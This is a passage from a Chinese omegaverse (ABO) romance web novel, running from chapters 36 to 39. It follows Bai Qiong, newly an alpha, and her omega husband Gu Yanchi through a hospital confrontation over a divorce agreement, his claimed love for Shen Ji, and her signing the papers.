白琼扯了下嘴角,“你太高估我在顾厌迟心里的地位了。” 季青禾:“……别把自己说得这么卑微,他可能不喜欢你,但不至于对你毫无感情,不然他放着那么多门当户对的豪门小姐不选非要选你结婚?哪怕是顾老爷子指腹为婚,他要是不想也是完全有能力拒绝的,可他没有不是吗?” 白琼以前也是这样安慰自己,幻想自己在对方心中多少是有些不同的。 只是在顾厌迟从标记中清醒过来后那副看她像看仇人的憎恶模样后,这种自欺欺人的想法便荡然无存了。 “他恨我。” 白琼平静的告知了季青禾对方憎恶她的事实,“他厌恶我的触碰,厌恶我的标记,厌恶我的信息素,厌恶我的一切。不出意外的话我和他很快要完了。” 季青禾一愣,随即嗤笑道:“这很正常,很多男人目前都很难接受自己分化成omega的事情,这让他们觉得自己一下子从男人变成了女人,不,应该说是从强势方变成了弱势方,这对他们自诩高人一等的傲慢的自尊心可是不小的打击。” “可这也是没办法的事,谁叫他们的基因比我们弱呢?” 白琼看着季青禾,有那么一瞬间以为自己看到了苏芸女士。 她刚这么想着,便听到对方说道:“你完全没必要为这种事情烦恼,白琼,你或许还没真正意识到分化成alpha意味着什么,它不单单是性别的转化,更是地位的转换。以前的你想要得到顾厌迟需要卑微地乞求,求他多看你一眼,垂怜你一分,现在你没必要在意他的感受,甚至他的意愿都不在你的考虑范围内。” “你想要得到他,只需要标记他就好。一次不够就两次,两次不够就三次,四次,十次,直到他完完全全成为你的所有物,离开你就无法活下去为止。” 季青禾还想说什么,发现白琼直勾勾盯着她,似要把她看出个窟窿来。 “……你这么看着我做什么?” “我在看你是怎么用这么一张漂亮的脸说出这么恐怖的话来的。” 这像夸又像贬的话让季青禾不知道该做什么反应来,于是她翻了个白眼。 “狗咬吕洞宾不识好人心,我只不过是以一个alpha的角度在给你一点小小的建议而已,采不采纳随你,反正喜欢顾厌迟不愿意放手的人又不是我。” “谢谢,这的确是个不错的提议,尤其是在omega的保护法还不够完善加上我还是他法定妻子的情况下,我想要行使夫妻间的义务理所当然,谁也没法说上我一句错处。” 白琼话锋一转,眉眼沉了下来,“不过顾厌迟毕竟是我深爱的人,不到不得已的地步我不想做出这种违背他意愿的事情来。” 季青禾无语极了,“所以说来说去你还是不愿意呗。” 季青禾为自己浪费时间留下来说了这么多,又听了对方这么多冠冕堂皇的废话后很是不爽。 “行吧白大情圣,你的境界太高我此等凡人望尘莫及。你就当我什么都没说,你什么也没听到吧。” 她说着瞥了一眼卧室门,那里不知道什么时候时候被打开了一道缝隙。 “还有齐缜的事情这次就算了,如果再有下次,我不会轻易放过你的。” 季青禾撂下这句狠话,转身要走的时候白琼伸手拦住了她。 “你可能误会了,我的意思不是绝对不会那么做,而是不到不得已的话不会那么做。” 白琼道:“所以我想要知道事情是不是真的到了不得已的程度……” “你确定你看到的是那个人是女人?” 季青禾觉得莫名其妙,“废话,那个人头发那么长,不是女人难不成是男人……” “没人规定留长发的必须是女人,而且你还没有看见正脸,你怎么确定她是女人不是男人?” 季青禾脑子宕机了一瞬,随即意识到了什么难以置信看向白琼。 “你,你是说顾厌迟喜欢的可能不是女人而是男……艹,真的假的?!你确定?!” 这已经是季青禾从刚才到现在第二次爆粗了。 白琼有一种女神跌落神坛的幻灭感。 “我问你话呢!真的假的?” 看着兴奋得两眼放光的女人,白琼梗住了。 “……我不知道,所以我才找你确认。” 这个答复让季青禾有些失望,但兴致不减。 “怀疑不可能是空穴来风,你总发现了点什么蛛丝马迹吧?你告诉我,我最近手头的那个项目刚结束,正好有时间,我可以看在你和我同学一场的份上帮你找私家侦探查查。你放心,不要钱,我免费帮你,谁叫我仁义呢。” 白琼:“……仁义?我看你是看热闹不嫌事大。” “啧,看破不说破啊。所以呢,到底要不要我帮忙,说话。” 她犹豫了一会儿,在女人催促的眼神下说道:“帮忙倒是不用,我这边有一个知情人,我想知道可以从他入手,只是我不想被他牵着鼻子走。” “如果可以的话帮我调查下他吧,要是他也有把柄在我手上的话,我想他应该会主动把那个顾厌迟心心念念的人和盘托出。” 季青禾想也没想就答应了。 “行,他叫什么名字?” “沈霁。” “沈霁?竟然是沈霁……” 季青禾有些意外的表情让白琼感到莫名。 “怎么?他们不是大学室友兼朋友吗,知道他的底细不是很正常吗,有什么好值得大惊小怪的?” 季青禾皱了皱眉,“朋友?谁和你说的他们是朋友?仇人还差不多呢。我刚才不是说了吗,大学时候顾厌迟闹出了点绯闻,那个绯闻对象就是沈霁,有人说看到他们私下偷偷约会,举止亲密,也不知道谁传出的谣言,描绘得绘声绘色还挺像那么回事的。顾厌迟知道后气得不轻,不光狠狠收拾了那些造谣者,还搬出了寝室出去住了,为了避嫌和沈霁更是到了老死不相往来的地步。” 季青禾想到这个谣言就忍不住想笑,“真不知道那些人怎么想的,传他和哪个女生的谣言不好,非要传和沈霁一个大男人的?难不成是因为沈霁也是长头发,所以把他当女的了吗……” 她一顿,猛地抬头看向白琼。 看见对方陡然变化的脸色便知道她跟自己想到一块儿去了。 季青禾咽了咽口水,“……虽然可能性很小,但是你说那个长头发的人,会不会是沈霁?” 第36章 鹿港综合第一医院, VIP病房。 顾厌迟例行进行着每月一次的身体检查,这一次比平时的步骤更多更细,耗时也比平时多了两倍多的时间。 医生拿着检测数据报告单仔细查看了下, 对病床上的男人说道:“你的身体恢复得好, 一般步入分化阶段的人身体情况并不稳定, 分化成alpha的体质或许会陡然增强, 可同样失控的风险也随之增加, omega则更危险,无论是体质还是信息素的稳定状况都会大打折扣, 但你的情况很稳定。” “看来你和你的妻子的信息素意外的契合啊。” 最近正出于如火如荼的分化热潮,医院里每天都会新增不少因为步入分化而出现各种各种状况的病人。 其中大部分的病人都是忍受不了热潮期的痛苦, 病急乱投医胡乱找了身边的alpha帮忙标记,然而由于契合度太低或者体质偏弱等问题, 导致标记的效果不尽人意,有个别严重者不仅没有解决热潮期的问题, 还信息素暴走了。 而顾厌迟这种长期饱受热潮期折磨的,按理说是比他们更难找到契合的标记对象,即使找到了若不是标记经验丰富的也很难成功平复他紊乱的信息素。 这无疑是天时地利人和的绝佳气运, 实在难得。 医生忍不住发出感慨—— “你们真是天生一对啊。” 对于这样的赞美顾厌迟露出了难以忍受的神情, 连基本的表情管理都有些难以维持,沉声道:“我想听的不是这些废话, 我只想知道我的身体到底是怎么回事,不是在我初次热潮后就提前做了干预吗?为什么我最后会分化成omega?” 在集中性热潮没有爆发之前, 绝大多数人并没有所谓进化,分化这类的概念,顾厌迟则敏锐地觉察到了自己身体的异常并非简单的发热生病,而是一种有规律的变化。 与此同时他还发现有极个别和他处于同样情况的人, 在做了一系列检查和对比检查后,他的医疗团队在他们体内检测出了两种变异基因,也就是alpha基因和omega基因。 检测结果显示两种基因的最终进化的走向是两种截然不同的极端。 顾厌迟的运气不好也好。 不好在于他体内的异变基因是属于相对弱势的omega基因,好则在于他发现得早,在分化前期可以进行干预。 顾厌迟的主治医生在进行了一系列实验检测后,将和他排异不那么强烈的alpha基因注射进了他的体内,这也是为什么顾厌迟的热潮期会比寻常的omega要更长,也更难捱。 毕竟在没有完成分化之前,他的热潮期是两种基因的交替折磨。 但这一切的忍耐都是值得的,因为他体内的omega基因马上就要安全转化成alpha基因了。 也就意味着他会分化成一个真真正正的alpha—— 本该如此,可现实却和预想背道而驰。 顾厌迟没办法接受自己筹备许久的计划功亏一篑,更没办法接受omega会被alpha标记,成为她们的所有物,被她们支配变得没有自我,永远被她们压上一头。 “……我也不是很清楚这其中到底发生了什么,但我们猜测这可能和你的妻子有关,我们从你的腺体里提取了你妻子的信息素做了检测,具体情况要等她的检测结果出来才清楚。” 顾厌迟捕捉到了医生一瞬的沉默,他不是一个好糊弄的人,很快就发现了不对劲的地方。 “我和她的信息素检测不是同时进行的吗,为什么我的出来了她的还要再等一会儿?” 医生原本是想要隐瞒的,作为顾厌迟的主治医生,他比任何人都清楚自己这位患者的自尊心有多强,况且他现在的情况看似稳定,实际上是受不了刺激的。 他的标记不是自然消退,而是用抑制剂强行压制下去的,也就是说信息素的影响其实还在,只是削弱到可控的范围了而已。 一旦情绪上的波动过大,信息素会反噬他,他会出现二次发热的情况。 可顾厌迟已经觉察到了,自己再隐瞒也没用,就算现在不说他私下也会去查。 好巧不巧这时候他的助手进来了,带来了那份姗姗来迟的alpha信息素检测报告。 顾厌迟的目光直勾勾盯着他手中的检测报告,医生顶着他那压迫感十足的视线仔细看了下白琼的信息素检测报告。 果然,和他猜测的一样。 他斟酌着语句,尽量用词委婉地说道:“是这样的,你的妻子白琼女士的信息素成分要更加复杂一些,所以检测的时间要长一些。” “同时这也是你为什么会明明进行了干预最终却分化成omega。” 顾厌迟隐约意识到了什么,喉咙有些干涩,“……什么意思?你说清楚一点?我没办法分化成alpha和她有什么关系?” 医生也不知道他是真的不知道究竟是为什么还是想要打破砂锅问到底。 他叹了口气道:“简单来说,干预分化的本质原理就是一个将omega基因转化为alpha基因的过程,本来你的转化只差临门一脚就能成功了,然而你的妻子在这时候标记了你。她的信息素破坏了你的转化,导致了这个不尽人意的结果。” 顾厌迟的脸色随着医生的话越来越难看,也越来越白。 他的手紧攥着被子,手背青筋暴起,苦艾的气息张牙舞爪的充斥在整个病房,饶是是还没有完成分化长出腺体的医生也有些承受不住。 他后退了两步,和顾厌迟拉开了点距离。 “顾先生,你,你先冷静点……” “我没法冷静!” 竟然是白琼,偏偏是白琼,为什么是白琼?! 顾厌迟胸膛激烈起伏着,残留在腺体的不属于自己的信息素在感受到他的情绪波动后见缝插针的想要趁机占据主动权。 而他的信息素竟然第一反应不是排斥和抗拒,而是急不可待地交缠上去。 这个认知让他厌恶而惶恐,他竭力控制着信息素撤离,可琼花的气息却强势地侵略过来。 稳定下来的腺体再次变得灼热绯红,冷白的肌肤以肉眼可见的速度蔓延。 他大口大口喘着气,似搁浅缺氧的鱼,痛苦着,又渴求着。 “顾先生!” 医生连忙上前想要查看他的情况,结果刚抬脚就被一股巨大的威压给压制得无法动弹,僵在了原地。 是信息素,来自顾厌迟那位alpha妻子的信息素。 霸道强势的不容许任何人碰触自己的omega分毫。 他心下大骇,因为没人比他更清楚在男人腺体中残留的那点儿信息素有多微弱。 可就是那么微弱到可以忽略不计的信息素,却依旧有着如此强大的威慑力。 在这一刻医生突然意识到自己之前那句话错的有多离谱。 这两人哪里是什么信息素过于契合的天生一对,分明是女人对男人从头到尾的完全压制。 第37章 这个真相比白琼由于标记了他导致他的分化失败还要来得残忍, 尤其是对于顾厌迟这样要强的男人来说。 于是关于这一点医生选择了隐瞒。 可这不代表顾厌迟完全觉察不到,原本紊乱到近乎失控的信息素在被女人的信息素三两下压了下来后,顾厌迟陷入了长久的沉默。 琼花的气息却并没有因此停息, 霸道的侵占着这个封闭的空间, 不让医生靠近, 也不让顾厌迟有机会排斥自己, 丝丝缕缕将他笼罩在其中。 他的腺体在发烫, 不过并不怎么难受,毕竟这个标记已经是好几天之前留下的了。 但就是那种如骨附蛆无法摆脱的, 如同被烙上了某人所有物的印记的屈辱感才是让他最难以接受的。 偏偏即使是那样一点弥留的信息素他拼尽全力也无法压制,这意味着什么不言而喻。 这个他从来没有真正放在眼里的妻子, 却有着远胜于自己的强大力量。 这是分化的结果,alpha和omega之间的力量本就是两个极端。 然而这并不能完全归咎于分化, 不是所有的omega都比alpha弱,信息素强度高于alpha的omega依旧在AO之间掌握着绝对的主动权和掌控权。 是他……不如白琼而已。 这是从分化一开始就决定的, 哪怕他最后被干预改变了分化结果,他分化成的alpha等级也不一定比白琼自然分化的等级高。 巨大的难堪和屈辱之下是更为浓烈的不甘。 顾厌迟从小性子就要强,什么都要争第一, 他也的确优秀, 在自己擅长的领域碾压别人,在自己不擅长的领域也能通过努力追赶上来。 所以他骨子里是傲慢的, 哪怕他表面表现得有多谦逊有礼。 当初顾厌迟之所以接受了白琼,也正是因为她没有能掣肘他的家世的同时, 又深深爱着自己,这意味着她既不会给自己带来威胁,更不会成为自己的麻烦。 现在自己权衡利弊选择的妻子却成为了能够随意拿捏掌控自己的存在,何其讽刺。 “……没有别的办法了吗?” 许久, 男人的声音再次响起,声音很沉,但仔细听却能听到尾音的轻微颤抖。 顾厌迟低垂着眉眼,医生看不出他的神情,不过苦艾的气息已经平息了大半,应该是冷静下来了吧,又或者是接受现实了。 “从你的检测情况来看,你已经完成了分化,以目前的医疗技术和你的身体状况目前暂时没有可能进行二次分化干预,不过未来就不一定了,或许二十年,十年,有大拿能攻克这个难题,新人类能够获得二次分化的机会重新选择自己的性别。” 他没有把话说死,但这番话是真的还是安慰居多顾厌迟还不至于听不出来。 顾厌迟并不是一个自欺欺人的人,在确认几乎不可能再有二次分化的可能后他眼底原本的迟疑和动摇慢慢褪去,转而变得冷凝和坚定。 “我明白了。” 顾厌迟再次抬头的时候又变成了平日里在冷静淡然的模样,医生松了口气,还想再说什么,下一秒外面走廊传来了脚步声。 声音不大,只是在空旷无人的VIP病房外显得格外清晰。 然后脚步声停在了门外。 “谁?” 医生皱了皱眉,以为是助手或者其他医护人员,结果推门后在看到来人后一愣。 他站在门口没有第一时间让人进来,而是下意识回头去看病床上的顾厌迟。 从顾厌迟的视角去看只能看到医生,可腺体残留的信息素的反应让他即使不抬头也知道来人是谁。 “让她进来吧。” 顾厌迟的语气听不出任何异常,只是攥着被子的手暴露了他此刻并不平静的心绪。 那不是排斥,也不是厌恶,更不是愤怒,而是一种来自被标记的omega对alpha的本能的畏惧和依恋。 他竭力对抗着这种本能,不让自己在白琼面前展露出一丝一毫的弱势姿态。 白琼的神情同样平静得可怕,宛若一潭死水。 医生不是第一次见白琼,顾厌迟因为早在五年前就进入到了分化阶段,出现了热潮期,所以每个月特殊时期基本上都会来医院做一下身体检查,大多时候都是他一个人来的,唯独有一次他高热不退白琼带着意识不清的顾厌迟来了医院。 顾厌迟不希望有人知道他身体的异常,于是医生以他劳累过度加上受凉引发了高热为由搪塞了过去。 那时候的女人和此时的模样判若两人,前者给人的印象是温和无害,毫无棱角的,似乎路过的狗踹她一脚她都能蹲下来问它脚疼不疼的那种没脾气的老好人。 现在的白琼虽然什么也没做,却让人大气都不敢出。 那是比那一缕信息素还要强大数十倍的压迫感,医生在面对她的时候像被野兽锁定,浑身汗毛都竖起来了。 “你,你……” “能麻烦你稍微回避一下吗,我有话要和他单独说。” 医生张了张嘴,想说病人此刻并不适合探望,要探望的话明天提前预约,可话到了嘴边独属于alpha的压迫感让他他一个字都说不出来。 她压根就没打算征求他的同意,只是单纯的通知罢了。 这夫妻真是一个比一个霸道。 医生很是郁闷,顶着如山的压力咬牙道:“可以,但不能太久,顶多半小时。还有,他现在的身体经不起刺激……也经不住二次标记。” 白琼还是头一次被人向防什么洪荒猛兽一样提防,她笑了下,笑意不达眼底,“你放心,我还不至于禽兽到趁人之危对一个omega下手,更何况这个omega还是我的丈夫。” 女人的话夹枪带棒,顾厌迟也就算了,这样一个心气高的人成为了omega还被标记了,哪怕标记他的是自己的妻子他也一时之间很难接受,所以对女人态度冷淡甚至排斥也很正常,可眼前的人为什么比前者看上去态度还要更糟糕? 她可是标记方。 不光是医生不解,一旁的顾厌迟也在听到女人的话后紧皱起了眉头。 等到医生离开,病房里只剩下了他们两人后,原本说有事想要和他单独说的白琼却一言不发。 她只是站在那里,居高临下地注视着他。 那种注视不是担忧,而是一种如淬冰一样的寒,目光所及之处冰冷刺骨。 她在欣赏他此刻的虚弱和不堪,带着毫不掩饰的恶意和快意。 顾厌迟忍无可忍,“你还要看到多久?” “我以为我离开你后你会变回以前光鲜亮丽的样子,可事实似乎相反。” 白琼直勾勾盯着他苍白的面容,一字一顿道:“顾厌迟,你真狼狈。” “哈,所以呢?别告诉我你大老远跑过来是就是为了当面嘲讽我?那你还真有够无聊的。” 男人抱着手臂,掀起眼皮没什么情绪看向白琼,“如果你希望我会因此生气的话那可能会让你失望了,这种程度的嘲讽对我而言实在不痛不痒。或者说你希望我为之前的行为向你道歉?抱歉,不可能。” “白琼,我什么也没做错,反倒是你……” 顾厌迟薄唇轻启,吐露的言语凉薄至极。 “就这么沉浸在虚假的感情里自我满足,自欺欺人,你不觉得可悲吗?” 白琼面上并没有被心爱之人的恶语相向伤害到的难过,她很平静,平静到像是在听一个无关紧要的人讽刺另一个无关紧要的人。 她代入不了以前的自己,也无法将眼前的人和以前她喜欢的顾厌迟联系在一起。 顾厌迟敏锐地觉察到了女人的不对劲,对上她那双漆黑到毫无波澜的眼睛,心下莫名慌乱了一瞬。 他强行压下那股不安,语气生硬道:“你到底来找我干什么?别告诉我是你热潮期到了想找我帮忙?如果是这样我劝你最好死了这条心……” “顾厌迟。” 白琼打断了他,凉凉道:“这话该我问你,你就没有别的事情想要和我说吗?” 顾厌迟不耐道:“啧,说什么?事到如今我们还有什么话好说?” “你确定?” 她再一次问道,语气称得上质问。 顾厌迟的火气也一下子窜了上来,他从刚才看到白琼的时候就一直在忍耐,结果这个害他转化失败的罪魁祸首不仅没有一点为自己的所作所为有任何愧疚,甚至态度还这么咄咄逼人。 他下颌绷紧,信息素控制不住溢了出来。 “白琼,你有完没完!是,我是在热潮期引诱了你,可这都基于你和我妈联合起来给我下药标记了我在先,要不是你当时标记了我,我那么多年的热潮期都抗过来了,为什么唯独这一次会失败?!” “因为你,我分化成了omega!因为你,我变成了现在这副样子!因为你!我永远都要被信息素控制,被你们alpha压制!因为你……” 顾厌迟双眼赤红,咬牙切齿道:“这一切全都是因为你!” 苦涩的信息素之下的愤怒和不甘如潮水一样朝着白琼扑来,这是她认识顾厌迟这么久以来头一次感受到他这样强烈的情绪波动。 她眼睫微微颤动了下,轻声道:“所以这就是原因?” 白琼从包里将一份离婚协议拿了出来,在顾厌迟错愕的神情下扯了扯嘴角。 “抱歉,未经允许擅自去了你的书房。不过我幸亏我去了,不然哪有机会发现这么有趣的东西?” 她死死捏着那份拟好的离婚协议,冷声问道:“只是我很好奇一件事。顾厌迟,你是因为我标记了你之后才生出了离婚的念头呢?还是说打从和我结婚开始,你就是奔着离婚去的?” “如果是前者我能理解,很多分化成omega的男人都不能忍受被分化成alpha的人,尤其是女人标记,如果是后者……” 白琼走到顾厌迟床边,手撑在他脑袋边,俯身居高临下地注视着他,阴影覆盖之下是更为可怖的压迫感。 “那你为什么要和我结婚?是一时兴起还是为了拿我当挡箭牌隐瞒什么?” 第38章 从齐缜的公寓回来的路上, 白琼脑子里很乱。 一方面是因为季青禾的话,另一方面是前几日做的那个梦。 在梦里,她以上帝视角看到了自己在顾厌迟的书房里无意间发现了一份离婚协议书, 但她并没有像之前梦到沈霁那样把那个梦放在心上。 毕竟当时顾厌迟刚从标记中清醒过来, 她也正是害怕对方会一气之下和自己离婚所以才梅开二度躲到了杨清容那里。 因此那个梦更像是日有所思夜有所梦。 可在季青禾将那个顾厌迟喜欢的人和沈霁联想在一块儿后, 白琼心里的不安越发浓重了。 同样的长头发, 还和顾厌迟是大学同学兼室友, 甚至还传出了那样的谣言。 普通人再怎么造谣也不可能无端造谣两个男人的桃色消息,除非他们真的看到了什么, 又或者沈霁和顾厌迟之间真的有什么。 白琼本身就对顾厌迟答应和自己结婚这件事感到很不真实,她比任何人都清楚对方对自己并没有所谓的男女之情, 甚至于她在他眼中可能连朋友都算不上。 只是一个因为长辈关系才不得已走近的,让他不胜其烦的暗恋者罢了。 可就是这样一个于他无足轻重的女人, 最终却成为了他的妻子,实在是让人匪夷所思。 有人说是白琼家挟恩图报, 又有人觉得是她的真心打动了顾厌迟,反正他也没有喜欢的人,加上又是一起长大的情分, 这才松口给了她留在自己身边的机会。 这对顾厌迟来说并没有任何的损失和困扰。 如果原因是前者, 他真的是被迫报恩的话,等到老爷子寿终正寝后他完全可以和白琼离婚。 如果是后者的情况的话, 那就更好办了,他在这段感情中掌握着绝对的主导权, 白琼没有打动他或是他遇到了让他心动的人,他随时都可以终止这段婚姻全身而退。 反观和白琼结婚的自己可以避免不少麻烦,比如避免家里的催婚施压,稳定的婚姻又有利于他对外形象的树立等等。 这些白琼也清楚, 顾厌迟答应和自己结婚的种种原因都是出于利弊权衡,唯独没有因为喜欢她。 但能得偿所愿的话,她甘之如饴。 这场婚姻本质上就是一个愿打一个愿挨,因此无论杨清容怎么替她打抱不平,咒骂顾厌迟渣男,没有尽到一点身为丈夫的责任的时候,她从不附和,反而还会帮着他说话。 说他本身就不喜欢自己,这段婚姻本身就是自己强求,他什么也没做错,真要说错是她才对。 是她冥顽不宁,咎由自取。 这五年来白琼一直都是这样自苦着在这段婚姻里,一面怀着再努力一点,精诚所至,金石为开,只要他的心不是石头做的,总有一天他能够看到她的真心的侥幸,一面又在对方一如既往的不为所动的冷漠之中慢慢陷入绝望。 她不是不想要放手,是不甘心,更是因为找不到一个让自己彻底死心的理由。 这才是白琼痛苦的根源。 而现在,她似乎找到了那个理由。 白琼并没有用身体将顾厌迟束缚,可他却完全没办法动弹。 他被困在女人覆下的阴影之中,稍微一动就会碰触到她。 这于顾厌迟反而形成了一个无形的牢笼。 omega对alpha的畏惧和渴求,两种极端的情绪在撕扯着他的理智,顾厌迟咬紧牙关,忍住了往前靠近的冲动,也压制住了往后退的欲望。 他余光落在白琼手中的离婚协议上,这份协议并不是最近才拟订好的,而是在自己答应和白琼结婚的时候就着手准备好了的。 原因很简单,顾厌迟从没有想过会和白琼真正走到最后。 一方面是因为他并不喜欢她,另一方面是他不想这样自私的把她绑在身边一辈子。 再浓烈的感情也会有慢慢消退的那一天,顾厌迟想等到她彻底对他死心了就把这份协议拿出来。 那时候他也差不多完成了进化,一切尘埃落定。 不过这份协议是五年前时候拟订好的,生出离婚的念头却是最近。 顾厌迟即使不想承认可身体的变化做不得假,在被白琼标记了之后,他开始迷恋那种被占有被填满的感觉,不光是身体上的还有情感上的。 她的信息素对他的影响比他想象之中的还要大。 一次两次标记还好,顾厌迟担心再这样继续和白琼生活在一起,他迟早有一天会变得即使不处于热潮期也会不断渴求她,离开她就无法活下来的废物。 可他知道要离婚是很困难的事情。 以前顾厌迟隐晦提出过要不要重新考虑下他们之间的关系,白琼脸色很难看,似乎他再多说一个字她就会不堪打击而当场崩溃。 那时候就已经很困难了,现在更是希望渺茫。 谁叫她现在分化成了alpha,而自己则是被他像个玩意儿一样搓扁揉圆的omega呢。 在这种极端不对等的地位之下,他的意愿并不重要,甚至于只要白琼想,稍微释放一点信息素就能引诱着他进入热潮期,篡改他清醒的意识。 想到这里顾厌迟的手往枕头下不动声色地伸去,这个动作很隐秘,只是如今白琼五感很敏锐,第一时间就注意到了。 她也把手伸了进去,手指不可避免碰触到了顾厌迟。 顾厌迟似被烫到了般更加用力握住了手中的东西,白琼没有强行去抢,而是再次逼近用手指描摹了下那物品的轮廓。 圆柱形的。 她掀起眼皮,“这就是你下面的医疗团队研发出来的能抑制热潮期的药剂?” 顾厌迟面容冷凝,看上去是拒人于千里之外的冷漠,可白疫情却一眼看出了他冷漠外表下的虚张声势。 他在害怕她。 哈,他竟然害怕她? 看着顾厌迟如临大敌的模样,白琼自嘲地笑了下,然后把手从枕头下拿开。 这样的动作并没有让顾厌迟放心,他的神情反而更加警惕和凝重了。 “别这么防备我,我不会标记你的。” 白琼把撑在他脑袋边的手拿开,阴影褪去,但压迫感并没有随之一起消失。 她坐在床边,乌黑的头发垂落在肩头,折叠的层次在灯光下透着比绸缎还要顺滑润泽的柔光。 温和的,柔美的,如一汪清泉,但顾厌迟知道这只是假象。 在感受过她粗暴的占有以及几乎将人吞没到窒息的信息素后,顾厌迟再也没办法把眼前的女人和所谓的无害形象联系在一起。 “我今天来只是想知道一些事情,如果你能如实回答我,我就答应签署协议和你离婚,而且以后永远不会纠缠你。” 白琼觉得自己的声音很远很空,像是另一个有着自己的灵魂的躯壳在说话,让她有一种抽离的虚无感。 她听到自己的声音说—— “第一个问题,这份协议是最近拟好的还是很久以前就准备好的?” 顾厌迟不明白白琼到底想要从自己这里确认什么,可他知道她并没有说谎。 因为她残留在腺体的信息素没有任何反应。 这个认知让顾厌迟心里没有任何喜悦,而是没由来的烦躁和恼怒。 她不是爱他吗?爱到即使有名无实也要和他结婚在一起,爱到即使就被他憎恶也还是想要通过标记留住他,现在这是什么意思?就因为他对她说了几句狠话就要放弃和他分道扬镳? 这算什么?又算什么爱? “顾厌迟,我的问题有那么难回答吗?” 女人的声音让顾厌迟从那股没由来的负面情绪中回过神来,神情带着心有余悸的恐慌。 刚才自己是怎么回事?白琼愿意离婚他不应该感到高兴吗?为什么会那么生气? 果然是因为那个标记的影响吗? 听说omega会对初次标记的对象有雏鸟情结,即使标记不住也会不由得对对方产生依赖心理。 顾厌迟手紧握着抑制剂,强迫着自己抬头和白琼直视。 “是,份协议在我决定和你结婚的时候就拟好了。我不知道你纠结早晚这个问题干什么,这并没有意义。白琼,你不是傻子,你知道我并不是因为喜欢你才和你结婚,这份协议就算当初没有拟订以后也会准备。” 对于这件事他到底有些心虚,抿着嘴唇语气放柔了一分。 “……本来我是打算等我身体情况稳定下来后再和你谈离婚的事情的,但你既然已经提前发现了,那你仔细看看上面的内容,如果你觉得有什么不合理的地方或者想要追加什么要求都可以提,只要不是很过分我都会尽可能满足你。” 白琼在听到他承认这是结婚前就拟订好了,后面的话就基本上自动屏蔽了。 猜测在一点一点被证实,她的心也跟着一点一点沉入谷底。 “……好,第二个问题。” 白琼涩然问道:“在我们结婚之前你有没有喜欢的人?” 话题转换的太快,顾厌迟一时之间没有反应过来。 “什么?” 这落在白琼眼里像是在故意装傻,她干脆挑明。 “听不懂是吧,那我问直接点,你喜欢的那个人是不是男人?那个男人是不是沈霁?” “哈?” 顾厌迟不知道白琼是怎么把这两件事情联系在一起的,看到离婚协议怀疑他出轨有喜欢的人也就算了,这人还不是男人。 所以什么意思?她怀疑他是个gay? 顾厌迟气笑了,上一次这么无语还是在大学自己被一群傻叉造谣和沈霁关系不正当的时候。 不想时隔多年,这一幕又重新上演,只是怀疑对象变成了自己的妻子。 “你从哪里听到的这种离谱的谣言,还是谁给你说了什么?是不是杨清容?还是季青禾?” 顾厌迟依稀记得自己当初在注射alpha基因药剂进行分化干预没多久,AO基因互相排斥,很快进入了热潮期,且比任何一次都要来势汹汹。 当时身边的那群自以为是的家伙为了讨好他将沈霁给打包带到了他面前,那一次和在仓库跟他关在一起时候不一样,体内的alpha基因正处于活跃状态,不受控制的对沈霁的信息素起了反应。 顾厌迟感受到了濒临失控的风险,趁着有意识之前跑出了包厢,好巧不巧撞见了季青禾。 如果是季青禾的话,倒是有可能把这个谣言说的有鼻子有眼,可信度极高。 白琼会相信也正常。 顾厌迟少有的爆了句粗,“你他妈别告诉我你是因为认为我喜欢男的所以决定和我离婚?” 白琼没有说话,可这副样子基本上等于默认了。 顾厌迟气笑了,想要解释,然而话到了嘴边又顿住。 因为他意识到了一件事,如果他解释了白琼是不是就不会松口和自己离婚了? 那他这一辈子都不可能摆脱白琼,摆脱她的信息素了。 比起被误会性取向不正常,顾厌迟更不能接受自己会重新变回热潮期被她标记的时候那样,像狗一样对她摇尾乞怜和求欢。 腺体里的不属于自己的信息素又在拉拽着他的理智,试图控制着他的身体和意志让他再次跌入欲望的深渊中沉沦。 顾厌迟已经分不清是自己是真的不愿意离开白琼,还是单纯依赖她的信息素了。 alpha就是这样一个让omega又恨又忌惮的存在,她们的信息素总是这样霸道地引诱,侵入,最后强势篡改着他们的意愿,构建起虚假的情感。 白琼看着他神情的挣扎,眼眸冷了下来。 “承认喜欢一个人是什么很难的事情吗?哪怕那个是男人,可他也是一个优秀的男人不是吗?我不是很明白顾厌迟,你宁愿接受我这样一个平凡到入不了你眼的女人当妻子,也不愿意承认你爱的其实另有其人。为什么?就因为他是个男人吗?” 她像是在自嘲自己,又像是在为沈霁打抱不平。 白琼也陷入了和顾厌迟一样的混乱中,分不清自己此刻真实的情绪。 “不……” 顾厌迟嗫嚅着嘴唇,艰难地想要否认自己和沈霁并不是她想的那种关系,他不想让白琼误会。 可在快要将真相和盘托出之前,想要彻底摆脱白琼的欲望更胜一筹。 “是!你猜的没错,我是喜欢男人,我是喜欢沈霁!我之所以同意和你结婚就是为了拿你当挡箭牌!反正不和你结婚我也会和别的女人结婚,与其和那些不知底细的女人结婚,不如一个像你这样又蠢又好拿捏的。你想知道的想求证的我全都告诉你了,怎么样,我这样回答你满意了吗?” 这番话顾厌迟近乎是吼出来的,发红的腺体让他整个人变得烦躁又焦灼。 他感到痛苦,违心的话让他痛苦,渴求着眼前的人让他感到痛苦。 所以他无耻地想要把自己的痛苦加诸给带给他痛苦的白琼。 原本只需要给出是与否的简单答复,在他不断滋生的负面情绪之下变得恶劣到恶毒。 白琼静静听完了他的话,白皙的面容似凝了一层白霜,那双漆黑的眼瞳注视着他,又似乎什么也没有映照进去。 琼花的气息猛地溢出了刹那,在顾厌迟信息素下意识探出想要去捕捉交缠之前又收回。 在死一样的寂静过后她闭了闭眼睛,然后睁开,从包里拿出钢笔毫不犹豫在那份离婚协议上签了字。 这就是当老师的好处,会习惯性带笔。 不然这种时候要是再去买笔或者找人借笔的话,未免太没气势了。 白琼这样自嘲地想。 她没有去看顾厌迟的反应,把签好的协议书放在床头,说了句保重便头也不回地离开了。 病房里似乎传来了杯子摔碎在地的声音,紧接着苦艾的气息蔓延在了空气里,不顾主人的意愿追了过来。 白琼脚步没有片刻地停留,她一路进了电梯,出了电梯,直到再也感受不到苦艾的气息,直到走到了医院的门口。 她慢慢停下,拿起手机拨通了一个陌生的号码。 嘟的几声过后,那边很快接通,一道清越的带着紧张的男声,语气试探地传来。 “请问你是……” “沈霁是我。” 确认来电的人是他期待的那个人后他心下一喜,正当他绞尽脑汁想要找话题的时候。 白琼轻飘飘的一句话让他脑子瞬间宕机。 “你热潮期多久?我帮你。” 第39章 沈霁并不知道白琼的号码, 当时他们闹得不欢而散,别说号码了,她连一个好脸都没给他。 他有些懊恼自己的鲁莽和无礼, 